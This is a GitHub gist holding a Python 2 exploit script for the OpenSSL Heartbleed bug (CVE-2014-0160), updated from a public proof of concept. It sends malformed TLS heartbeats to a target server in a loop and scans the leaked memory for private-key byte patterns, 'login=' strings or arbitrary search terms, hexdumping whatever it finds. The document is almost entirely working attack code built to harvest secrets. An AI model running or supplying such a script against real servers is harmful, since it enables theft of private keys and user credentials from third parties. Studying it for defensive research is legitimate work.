Last active
August 29, 2015 13:58
-
-
Save robison/10395624 to your computer and use it in GitHub Desktop.
Dump payloads containing SSL private keys, "login", or arbitrary strings.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Update of http://www.exploit-db.com/exploits/32745/ to search for arbitrary data | |
# Original: Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) | |
# Updated: robison@packetized.io | |
# The author disclaims copyright to this source code. | |
import sys | |
import struct | |
import socket | |
import time | |
import select | |
import re | |
from optparse import OptionParser | |
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') | |
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') | |
options.add_option('-s', '--string', type='string', help='String to search for in server memory') | |
options.add_option('-x', '--xencoded', action="store_true", help='If provided, variable in -s is bytecode') | |
opts, args = options.parse_args() | |
if opts.string and not opts.xencoded: | |
searchstring = opts.string.encode('utf-8') | |
def h2bin(x): | |
return x.replace(' ', '').replace('\n', '').decode('hex') | |
hello = h2bin(''' | |
16 03 02 00 dc 01 00 00 d8 03 02 53 | |
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf | |
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 | |
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 | |
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c | |
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 | |
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 | |
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c | |
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 | |
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 | |
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 | |
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 | |
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 | |
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 | |
00 0f 00 01 01 | |
''') | |
hb = h2bin(''' | |
18 03 02 00 07 | |
01 FF FF DE AD BE EF | |
''') | |
def hexdump(s): | |
for b in xrange(0, len(s), 32): | |
lin = [c for c in s[b: b + 32]] | |
hxdat = ' '.join('%02X' % ord(c) for c in lin) | |
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin) | |
print ' %04x: %-48s %s' % (b, hxdat, pdat) | |
def recvall(s, length, timeout=5): | |
endtime = time.time() + timeout | |
rdata = '' | |
remain = length | |
while remain > 0: | |
rtime = endtime - time.time() | |
if rtime < 0: | |
return None | |
r, w, e = select.select([s], [], [], 5) | |
if s in r: | |
data = s.recv(remain) | |
# EOF? | |
if not data: | |
return None | |
rdata += data | |
remain -= len(data) | |
return rdata | |
def recvmsg(s): | |
hdr = recvall(s, 5) | |
if hdr is None: | |
return None, None, None | |
typ, ver, ln = struct.unpack('>BHH', hdr) | |
pay = recvall(s, ln, 20) | |
if pay is None: | |
return None, None, None | |
return typ, ver, pay | |
def hit_hb(s): | |
s.send(hb) | |
while True: | |
typ, ver, pay = recvmsg(s) | |
if typ is None: | |
s.close() | |
break | |
return False | |
if typ == 24: | |
sys.stdout.write(".") | |
if re.findall(b'\x30\x82(.*?)\x02\x01\x00', pay): | |
print 'Found a private key in this payload:' | |
hexdump(pay) | |
if re.findall(b'\x26\x6C\x6F\x67\x69\x6E\x3D', pay): | |
print 'Found a "login=" string in this payload:' | |
hexdump(pay) | |
if re.findall(searchstring, pay): | |
print 'Found "' + opts.string + '"" string in this payload:' | |
hexdump(pay) | |
s.close() | |
return True | |
def main(): | |
try: | |
while True: | |
if len(args) < 1: | |
options.print_help() | |
return | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sys.stdout.flush() | |
s.connect((args[0], opts.port)) | |
sys.stdout.flush() | |
s.send(hello) | |
sys.stdout.flush() | |
while True: | |
typ, ver, pay = recvmsg(s) | |
if typ is None: | |
return | |
if typ == 22 and ord(pay[0]) == 0x0E: | |
break | |
sys.stdout.flush() | |
hit_hb(s) | |
sys.stdout.flush() | |
s.close() | |
except socket.error, e: | |
print e | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment